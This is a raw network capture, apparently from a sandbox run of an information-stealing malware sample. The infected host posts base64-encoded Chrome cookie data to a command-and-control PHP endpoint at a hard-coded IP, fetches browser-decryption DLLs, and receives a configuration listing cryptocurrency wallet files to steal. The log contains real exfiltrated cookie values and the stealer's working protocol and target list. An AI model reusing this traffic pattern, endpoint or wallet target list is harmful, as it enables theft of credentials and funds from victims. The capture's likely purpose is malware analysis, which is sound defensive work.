00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Oct 10, 2024 10:09:41.838371992 CEST	1236	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Oct 10, 2024 10:09:41.838382959 CEST	1236	IN	Data Raw: ec 0c 89 c5 85 db 74 05 83 fb 03 75 2e 89 7c 24 08 89 5c 24 04 89 34 24 e8 19 f7 0a 00 83 ec 0c 89 c5 89 7c 24 08 89 5c 24 04 89 34 24 e8 64 fd ff ff 83 ec 0c 85 c0 75 02 31 ed c7 05 48 67 eb 61 ff ff ff ff 83 c4 1c 89 e8 5b 5e 5f 5d c3 8d b4 26 Data Ascii: tu.\|$\$4$\|$\$4$du1Hga[^_]&+C\|$\$4$w#t\|$\$4$u#u\|$D$4$t&up\|$D$4$rZ\|$D$4$Q
Oct 10, 2024 10:09:43.234457016 CEST	952	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DAECFIJDAAAKECBFCGHI Host: 185.215.113.37 Content-Length: 751 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 41 45 43 46 49 4a 44 41 41 41 4b 45 43 42 46 43 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 32 35 66 37 62 30 34 61 34 38 37 66 32 31 32 65 30 66 64 30 34 38 31 39 65 38 32 35 37 65 34 30 35 62 32 37 30 36 64 38 39 62 64 30 63 32 61 30 61 63 31 65 63 62 63 33 61 64 39 37 30 62 31 39 64 31 66 38 36 37 34 0d 0a 2d 2d 2d 2d 2d 2d 44 41 45 43 46 49 4a 44 41 41 41 4b 45 43 42 46 43 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 44 41 45 43 46 49 4a 44 41 41 41 4b 45 43 42 46 43 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 [TRUNCATED] Data Ascii: ------DAECFIJDAAAKECBFCGHIContent-Disposition: form-data; name="token"d25f7b04a487f212e0fd04819e8257e405b2706d89bd0c2a0ac1ecbc3ad970b19d1f8674------DAECFIJDAAAKECBFCGHIContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------DAECFIJDAAAKECBFCGHIContent-Disposition: form-data; name="file"Lmdvb2dsZS5jb20JVFJVRQkvCUZBTFNFCTE2OTkwNzY1NDEJMVBfSkFSCTIwMjMtMTAtMDUtMDcKLmdvb2dsZS5jb20JRkFMU0UJLwlGQUxTRQkxNzEyMjk1NzQwCU5JRAk1MTE9bk5hZHFXOXVUY1kwT1A2STNhZm5yNzFvNkV6YVlMc2RwVzRVRVlOM3ZZcV9yYlJyTkZ4TTFqb3pQR3Voak9SQlpLS016MnRkRHBWZTdkTnVUV3A0Q3lLLXp0NUlzNndWRWx2ZVdBZktRZ3dOSmlLS3RYSENDQ21ybGd6WlRsNUNpS2pUZUEyaVFxZjZ6bFJLMmg4d2cxaFZwSXNXc2FLcWFXSnlITVBGM0pBCg==------DAECFIJDAAAKECBFCGHI--
Oct 10, 2024 10:09:43.954582930 CEST	202	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:09:43 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 10, 2024 10:09:44.628123999 CEST	564	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BFIJEHCBAKFCAKFHCGDG Host: 185.215.113.37 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 46 49 4a 45 48 43 42 41 4b 46 43 41 4b 46 48 43 47 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 32 35 66 37 62 30 34 61 34 38 37 66 32 31 32 65 30 66 64 30 34 38 31 39 65 38 32 35 37 65 34 30 35 62 32 37 30 36 64 38 39 62 64 30 63 32 61 30 61 63 31 65 63 62 63 33 61 64 39 37 30 62 31 39 64 31 66 38 36 37 34 0d 0a 2d 2d 2d 2d 2d 2d 42 46 49 4a 45 48 43 42 41 4b 46 43 41 4b 46 48 43 47 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 46 49 4a 45 48 43 42 41 4b 46 43 41 4b 46 48 43 47 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------BFIJEHCBAKFCAKFHCGDGContent-Disposition: form-data; name="token"d25f7b04a487f212e0fd04819e8257e405b2706d89bd0c2a0ac1ecbc3ad970b19d1f8674------BFIJEHCBAKFCAKFHCGDGContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------BFIJEHCBAKFCAKFHCGDGContent-Disposition: form-data; name="file"------BFIJEHCBAKFCAKFHCGDG--
Oct 10, 2024 10:09:45.349009991 CEST	202	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:09:44 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 10, 2024 10:09:46.122107983 CEST	564	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JKJDBAAAEHIEGCAKFHCG Host: 185.215.113.37 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4b 4a 44 42 41 41 41 45 48 49 45 47 43 41 4b 46 48 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 32 35 66 37 62 30 34 61 34 38 37 66 32 31 32 65 30 66 64 30 34 38 31 39 65 38 32 35 37 65 34 30 35 62 32 37 30 36 64 38 39 62 64 30 63 32 61 30 61 63 31 65 63 62 63 33 61 64 39 37 30 62 31 39 64 31 66 38 36 37 34 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4a 44 42 41 41 41 45 48 49 45 47 43 41 4b 46 48 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4a 44 42 41 41 41 45 48 49 45 47 43 41 4b 46 48 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------JKJDBAAAEHIEGCAKFHCGContent-Disposition: form-data; name="token"d25f7b04a487f212e0fd04819e8257e405b2706d89bd0c2a0ac1ecbc3ad970b19d1f8674------JKJDBAAAEHIEGCAKFHCGContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------JKJDBAAAEHIEGCAKFHCGContent-Disposition: form-data; name="file"------JKJDBAAAEHIEGCAKFHCG--
Oct 10, 2024 10:09:46.834357977 CEST	202	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:09:46 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 10, 2024 10:09:48.180589914 CEST	93	OUT	GET /0d60be0de163924d/freebl3.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 10, 2024 10:09:48.398144007 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:09:48 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Oct 10, 2024 10:09:49.205234051 CEST	93	OUT	GET /0d60be0de163924d/mozglue.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 10, 2024 10:09:49.422677040 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:09:49 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Oct 10, 2024 10:09:50.009671926 CEST	94	OUT	GET /0d60be0de163924d/msvcp140.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 10, 2024 10:09:50.227586985 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:09:50 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Oct 10, 2024 10:09:51.011624098 CEST	90	OUT	GET /0d60be0de163924d/nss3.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 10, 2024 10:09:51.229576111 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:09:51 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Oct 10, 2024 10:09:52.732232094 CEST	94	OUT	GET /0d60be0de163924d/softokn3.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 10, 2024 10:09:52.949767113 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:09:52 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Oct 10, 2024 10:09:53.205944061 CEST	98	OUT	GET /0d60be0de163924d/vcruntime140.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 10, 2024 10:09:53.423686981 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:09:53 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Oct 10, 2024 10:09:54.962266922 CEST	202	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EBGCFBGCBFHJECBGDAKK Host: 185.215.113.37 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Oct 10, 2024 10:09:55.670721054 CEST	202	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:09:55 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=84 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 10, 2024 10:09:55.727701902 CEST	468	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KJKKJKEHDBGIDGDHCFHI Host: 185.215.113.37 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4a 4b 4b 4a 4b 45 48 44 42 47 49 44 47 44 48 43 46 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 32 35 66 37 62 30 34 61 34 38 37 66 32 31 32 65 30 66 64 30 34 38 31 39 65 38 32 35 37 65 34 30 35 62 32 37 30 36 64 38 39 62 64 30 63 32 61 30 61 63 31 65 63 62 63 33 61 64 39 37 30 62 31 39 64 31 66 38 36 37 34 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4b 4b 4a 4b 45 48 44 42 47 49 44 47 44 48 43 46 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4b 4b 4a 4b 45 48 44 42 47 49 44 47 44 48 43 46 48 49 2d 2d 0d 0a Data Ascii: ------KJKKJKEHDBGIDGDHCFHIContent-Disposition: form-data; name="token"d25f7b04a487f212e0fd04819e8257e405b2706d89bd0c2a0ac1ecbc3ad970b19d1f8674------KJKKJKEHDBGIDGDHCFHIContent-Disposition: form-data; name="message"wallets------KJKKJKEHDBGIDGDHCFHI--
Oct 10, 2024 10:09:55.947807074 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:09:55 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=83 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
